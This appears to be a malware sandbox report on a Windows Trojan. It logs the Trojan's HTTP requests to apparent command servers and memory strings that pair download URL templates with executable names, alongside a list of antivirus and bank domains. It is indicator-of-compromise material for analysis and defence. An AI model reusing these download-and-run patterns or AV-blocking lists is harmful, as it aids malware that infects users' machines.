<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:31 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/zmmmdq.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:33 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:33 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/sfsswwaoef.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:36 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:36 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/oxybcg.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:38 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:38 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/veivm.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:40 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:40 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/cpdqhuu.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:42 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:42 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/fsggtxx.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:45 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:45 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/qanarmz.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:47 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:47 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/ciivvmnd.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:49 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:49 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/dreiizm.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:52 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:52 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/nabfswwnn.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:54 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:54 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/xlycctxmj.php?adv=adv466&code1=HNIL&code2=0191&id=-1465484763&p=0&b=1&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:56 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:56 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable ..
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
rundll32.exe_1524:
.text
.text
`.data
`.data
.rsrc
.rsrc
msvcrt.dll
msvcrt.dll
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
GDI32.dll
GDI32.dll
USER32.dll
USER32.dll
IMAGEHLP.dll
IMAGEHLP.dll
rundll32.pdb
rundll32.pdb
.....eZXnnnnnnnnnnnn3
.....eZXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
...eDXnnnnnnnnnnnn,
...eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
%Xnnnnnnnnnnnnnnn1
%Xnnnnnnnnnnnnnnn1
O3$dS7"%U9
O3$dS7"%U9
.manifest
.manifest
5.1.2600.5512 (xpsp.080413-2105)
5.1.2600.5512 (xpsp.080413-2105)
RUNDLL.EXE
RUNDLL.EXE
Windows
Windows
Operating System
Operating System
5.1.2600.5512
5.1.2600.5512
YThere is not enough memory to run the file %s.
YThere is not enough memory to run the file %s.
Please close other windows and try again.
Please close other windows and try again.
9The file %s or one of its components could not be opened.
9The file %s or one of its components could not be opened.
0The file %s or one of its components cannot run.
0The file %s or one of its components cannot run.
MThe file %s or one of its components requires a different version of Windows.
MThe file %s or one of its components requires a different version of Windows.
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
Error in %s
Error in %s
Missing entry:%s
Missing entry:%s
Error loading %s
Error loading %s
rundll32.exe_1524_rwx_10000000_00001000:
.text
.text
`.data
`.data
.reloc
.reloc
Explorer.EXE_884_rwx_014D0000_0000A000:
PSShX4M
PSShX4M
.exeu]
.exeu]
%sxlycctxmj.php?adv=adv466&code1=%s&code2=%s&id=%d&p=%s&b=%s&c=%d
%sxlycctxmj.php?adv=adv466&code1=%s&code2=%s&id=%d&p=%s&b=%s&c=%d
Chrome
Chrome
Firefox
Firefox
Opera
Opera
%sgorki.exe
%sgorki.exe
%sdreiizm.php?adv=adv466&id=%d&c=%d
%sdreiizm.php?adv=adv466&id=%d&c=%d
%somvoj.exe
%somvoj.exe
%sererijznnr.php?adv=adv466&id=%d&c=%d
%sererijznnr.php?adv=adv466&id=%d&c=%d
%snqefjkh.exe
%snqefjkh.exe
%sxklypptgx.php?adv=adv466&id=%d&c=%d
%sxklypptgx.php?adv=adv466&id=%d&c=%d
%swwqlg.exe
%swwqlg.exe
%szmmmdq.php?adv=adv466&id=%d&c=%d
%szmmmdq.php?adv=adv466&id=%d&c=%d
%srspwqxk.exe
%srspwqxk.exe
%ssfsswwaoef.php?adv=adv466&id=%d&c=%d
%ssfsswwaoef.php?adv=adv466&id=%d&c=%d
%saroyba.exe
%saroyba.exe
%soxybcg.php?adv=adv466&id=%d&c=%d
%soxybcg.php?adv=adv466&id=%d&c=%d
%sqncsb.exe
%sqncsb.exe
%sveivm.php?adv=adv466&id=%d&c=%d
%sveivm.php?adv=adv466&id=%d&c=%d
%sgyjh.exe
%sgyjh.exe
%snabfswwnn.php?adv=adv466&id=%d&c=%d
%snabfswwnn.php?adv=adv466&id=%d&c=%d
%skpob.exe
%skpob.exe
%sciivvmnd.php?adv=adv466&id=%d&c=%d
%sciivvmnd.php?adv=adv466&id=%d&c=%d
%siuvrsmb.exe
%siuvrsmb.exe
%sqanarmz.php?adv=adv466&id=%d&c=%d
%sqanarmz.php?adv=adv466&id=%d&c=%d
%skmhweee.exe
%skmhweee.exe
%sfsggtxx.php?adv=adv466&id=%d&c=%d
%sfsggtxx.php?adv=adv466&id=%d&c=%d
%scpdqhuu.php?adv=adv466&id=%d&c=%d
%scpdqhuu.php?adv=adv466&id=%d&c=%d
hXXp://bbfinity.com/pdzqq/
hXXp://bbfinity.com/pdzqq/
hXXp://abcartel.com/pdzqq/
hXXp://abcartel.com/pdzqq/
psapi.dll
psapi.dll
ddraw.dll
ddraw.dll
urlmon.dll
urlmon.dll
shell32.dll
shell32.dll
kernel32.dll
kernel32.dll
user32.dll
user32.dll
wininet.dll
wininet.dll
ntdll.dll
ntdll.dll
\svchost.exe
\svchost.exe
explorer.exe
explorer.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\3E4U - Old.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\3E4U - Old.exe
ShellExecuteExA
ShellExecuteExA
InternetOpenUrlA
InternetOpenUrlA
.text
.text
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
&ew%.YY
&ew%.YY
ver70%sxlycctxmj.php?adv=
ver70%sxlycctxmj.php?adv=
SafariChromeFiref
SafariChromeFiref
urlmo
urlmo
`.rdt
`.rdt
KERNEL32.DLL
KERNEL32.DLL
ADVAPI32.dll
ADVAPI32.dll
DDRAW.dll
DDRAW.dll
PSAPI.DLL
PSAPI.DLL
SHELL32.dll
SHELL32.dll
SHLWAPI.dll
SHLWAPI.dll
USER32.dll
USER32.dll
WININET.dll
WININET.dll
Explorer.EXE_884_rwx_01CA0000_00015000:
HTTP/1.1
HTTP/1.1
Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry
Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
\user32.dll
\user32.dll
b.dll
b.dll
spoolsv.exe
spoolsv.exe
/message.php
/message.php
.co.cc
.co.cc
.cz.cc
.cz.cc
.info
.info
\updhlp.dat
\updhlp.dat
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
19792079
19792079
1979207932
1979207932
[%subid]
[%subid]
[%key]
[%key]
google.com/
google.com/
**http://
**http://
search.yahoo.com
search.yahoo.com
bing.com
bing.com
\temp.ini
\temp.ini
\admin.txt
\admin.txt
.aspx
.aspx
iexplore.exe
iexplore.exe
&HTTP_REFERER=
&HTTP_REFERER=
\server.dat
\server.dat
\Windows
\Windows
\winhelp.exe
\winhelp.exe
sb_tlst">
19091979
19091979
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 200 OK
HTTP/1.1 200 OK
19091979
19091979
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 200 OK
HTTP/1.1 200 OK
keyword
keyword
hXXp://
hXXp://
HTTP/1.
HTTP/1.
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
ntdll.dll
ntdll.dll
kernel32.dll
kernel32.dll
user32.dll
user32.dll
ws2_32.dll
ws2_32.dll
advapi32.dll
advapi32.dll
shell32.dll
shell32.dll
Wininet.dll
Wininet.dll
version.dll
version.dll
ole32.dll
ole32.dll
Dnsapi.dll
Dnsapi.dll
gdi32.dll
gdi32.dll
c:\feed.txt
c:\feed.txt
hXXp://google.ru/s.php?dd=giuy
hXXp://google.ru/s.php?dd=giuy
:VVV.u
:VVV.u
google.com
google.com
\windows\
\windows\
sfc_os.dll
sfc_os.dll
wininit.exe
wininit.exe
winlogon.exe
winlogon.exe
dllcache\winlogon.exe
dllcache\winlogon.exe
explorer.exe
explorer.exe
dllcache\explorer.exe
dllcache\explorer.exe
.datj
.datj
opera.exe
opera.exe
firefox.exe
firefox.exe
chrome.exe
chrome.exe
8.texu5
8.texu5
82.165.237.14
82.165.237.14
82.165.250.33
82.165.250.33
akamai.avg.com
akamai.avg.com
antivir.es
antivir.es
anti-virus.by
anti-virus.by
avast.com
avast.com
avg.com
avg.com
avp.com
avp.com
avp.ru
avp.ru
avp.ru/download/
avp.ru/download/
avpg.crsi.symantec.com
avpg.crsi.symantec.com
backup.avg.cz
backup.avg.cz
bancoguayaquil.com
bancoguayaquil.com
bcpzonasegura.viabcp.com
bcpzonasegura.viabcp.com
bitdefender.com
bitdefender.com
clamav.net
clamav.net
comodo.com
comodo.com
customer.symantec.com
customer.symantec.com
dispatch.mcafee.com
dispatch.mcafee.com
download.mcafee.com
download.mcafee.com
download.microsoft.com
download.microsoft.com
downloads.microsoft.com
downloads.microsoft.com
downloads1.kaspersky-labs.com
downloads1.kaspersky-labs.com
downloads1.kaspersky-labs.com/products/
downloads1.kaspersky-labs.com/products/
downloads1.kaspersky-labs.com/updates/
downloads1.kaspersky-labs.com/updates/
downloads2.kaspersky-labs.com
downloads2.kaspersky-labs.com
downloads2.kaspersky-labs.com/products/
downloads2.kaspersky-labs.com/products/
downloads2.kaspersky-labs.com/updates/
downloads2.kaspersky-labs.com/updates/
downloads3.kaspersky-labs.com
downloads3.kaspersky-labs.com
downloads3.kaspersky-labs.com/products/
downloads3.kaspersky-labs.com/products/
downloads3.kaspersky-labs.com/updates/
downloads3.kaspersky-labs.com/updates/
downloads4.kaspersky-labs.com
downloads4.kaspersky-labs.com
downloads4.kaspersky-labs.com/products/
downloads4.kaspersky-labs.com/products/
downloads4.kaspersky-labs.com/updates/
downloads4.kaspersky-labs.com/updates/
downloads5.kaspersky-labs.com
downloads5.kaspersky-labs.com
downloads5.kaspersky-labs.com/products/
downloads5.kaspersky-labs.com/products/
downloads5.kaspersky-labs.com/updates/
downloads5.kaspersky-labs.com/updates/
drweb.com
drweb.com
emsisoft.com
emsisoft.com
eset.com
eset.com
eset.com/
eset.com/
eset.com/download/index.php
eset.com/download/index.php
eset.com/joomla/
eset.com/joomla/
eset.com/products/index.php
eset.com/products/index.php
eset.es
eset.es
fortinet.com
fortinet.com
f-prot.com
f-prot.com
f-secure.com
f-secure.com
gdata.es
gdata.es
go.microsoft.com
go.microsoft.com
hacksoft.com.pe
hacksoft.com.pe
ikarus.at
ikarus.at
kaspersky.com
kaspersky.com
kaspersky.ru
kaspersky.ru
kaspersky-labs.com
kaspersky-labs.com
